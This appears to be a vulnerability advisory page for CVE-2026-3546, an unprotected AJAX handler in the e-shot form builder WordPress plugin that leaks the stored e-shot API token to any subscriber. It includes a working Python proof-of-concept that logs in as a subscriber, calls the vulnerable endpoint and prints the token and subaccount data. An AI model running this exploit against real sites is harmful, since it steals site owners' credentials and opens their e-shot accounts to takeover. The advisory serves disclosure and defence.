Security Vulnerability Report
中文
CVE-2026-3546 CVSS 5.3 MEDIUM

CVE-2026-3546

Published: 2026-03-21 04:17:28
Last Modified: 2026-04-24 16:27:44

Description

The e-shot form builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.2. The eshot_form_builder_get_account_data() function is registered as a wp_ajax_ AJAX handler accessible to all authenticated users. The function lacks any capability check (e.g., current_user_can('manage_options')) and does not verify a nonce. It directly queries the database for the e-shot API token stored in the eshotformbuilder_control table and returns it along with all subaccount data as a JSON response. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract the e-shot API token and subaccount information, which could then be used to access the victim's e-shot platform account.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

e-shot form builder <= 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 import requests # Target configuration target_url = "https://example.com" username = "subscriber" password = "password" # 1. Login to get cookies login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { "log": username, "pwd": password, "redirect_to": f"{target_url}/wp-admin/", "wp-submit": "Log In" } session.post(login_url, data=login_data) # 2. Exploit AJAX endpoint ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { "action": "eshot_form_builder_get_account_data" } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Sensitive Data:") print(response.json()) else: print("[-] Exploit failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3546", "sourceIdentifier": "[email protected]", "published": "2026-03-21T04:17:27.713", "lastModified": "2026-04-24T16:27:44.277", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The e-shot form builder plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.2. The eshot_form_builder_get_account_data() function is registered as a wp_ajax_ AJAX handler accessible to all authenticated users. The function lacks any capability check (e.g., current_user_can('manage_options')) and does not verify a nonce. It directly queries the database for the e-shot API token stored in the eshotformbuilder_control table and returns it along with all subaccount data as a JSON response. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract the e-shot API token and subaccount information, which could then be used to access the victim's e-shot platform account."}, {"lang": "es", "value": "El plugin e-shot form builder para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 1.0.2, inclusive. La función eshot_form_builder_get_account_data() está registrada como un gestor AJAX wp_ajax_ accesible para todos los usuarios autenticados. La función carece de cualquier verificación de capacidad (p. ej., current_user_can('manage_options')) y no verifica un nonce. Consulta directamente la base de datos para el token de la API de e-shot almacenado en la tabla eshotformbuilder_control y lo devuelve junto con todos los datos de la subcuenta como una respuesta JSON. Esto hace posible que atacantes autenticados, con acceso de nivel Suscriptor y superior, extraigan el token de la API de e-shot y la información de la subcuenta, lo que podría usarse para acceder a la cuenta de la plataforma e-shot de la víctima."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-202"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/e-shot-form-builder/tags/1.0.2/admin/class-eshotformbuilder-admin.php#L567", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/e-shot-form-builder/tags/1.0.2/includes/class-eshotformbuilder.php#L163", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/e-shot-form-builder/trunk/admin/class-eshotformbuilder-admin.php#L567", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/e-shot-form-builder/trunk/includes/class-eshotformbuilder.php#L163", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/965bb642-4472-491f-8378-f4331ba4ab7c?source=cve", "source": "[email protected]"}]}}